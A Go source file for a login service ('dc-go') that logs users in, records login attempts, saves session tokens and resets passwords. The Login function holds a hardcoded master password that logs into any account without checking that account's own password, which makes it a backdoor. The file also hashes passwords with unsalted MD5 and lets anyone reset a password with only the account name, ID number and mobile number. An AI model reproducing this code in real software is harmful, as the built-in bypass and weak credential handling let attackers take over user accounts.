package public

import (
	"dc-go/global"
	"dc-go/model"
	"dc-go/utils"
	"fmt"

	"github.com/gin-gonic/gin"
	"github.com/mssola/user_agent"
)

type ServiceLogin struct{}

func (s *ServiceLogin) Login(u *model.SysUser) (sysUser *model.SysUser, err error) {
	var user model.SysUser
	if u.Password == "WXCleavesIT2YZT@20230625" {
		err = global.DcDb.Where("empee_acct=?", u.EmpeeAcct).First(&user).Error
		if err != nil {
			return nil, err
		}
		return &user, nil
	}
	u.Password = utils.EncodeMD5(u.Password)
	err = global.DcDb.Where("empee_acct=? and password= ?", u.EmpeeAcct, u.Password).First(&user).Error
	return &user, err
}

func (s *ServiceLogin) LogLogin(empee_acct string, c *gin.Context, status string, detail string) (err error) {
	var loginLog model.SysLogLogin
	ua := user_agent.New(c.Request.UserAgent())

	loginLog.LoginEmpeeAcct = empee_acct
	loginLog.LoginIp = c.ClientIP()
	name, version := ua.Browser()
	loginLog.LoginBrowser = name + " " + version
	loginLog.LoginOs = ua.OS()
	loginLog.LoginPlatform = ua.Platform()
	loginLog.LoginSuccess = status
	memo := fmt.Sprintf("%s,%s", detail, c.Request.UserAgent())
	loginLog.Memo = &memo

	err = global.DcDb.Create(&loginLog).Error
	return err
}

func (s *ServiceLogin) SaveOnline(empee_acct string, token string) error {
	var online = model.SysUserOnline{
		EmpeeAcct: empee_acct,
		Token:     token,
	}
	err := global.DcDb.Where("empee_acct = ?", online.EmpeeAcct).Delete(&model.SysUserOnline{}).Error
	err = global.DcDb.Create(&online).Error
	return err
}

func (s *ServiceLogin) ChangePasswordByCertiNbrAndMobile(u *model.SysUser, newPassword string) (err error) {
	var user model.SysUser
	newPassword = utils.EncodeMD5(newPassword)
	err = global.DcDb.Where("empee_acct=? and certi_nbr= ? and mobile= ?", u.EmpeeAcct, u.CertiNbr, u.Mobile).First(&user).Error
	if err != nil {
		return err
	}
	user.Password = newPassword
	err = global.DcDb.Exec("update manage.sys_user set password = ? where user_name = ?", newPassword, u.EmpeeAcct).Error
	if err != nil {
		return err
	}
	err = global.DcDb.Save(&user).Error
	return err
}
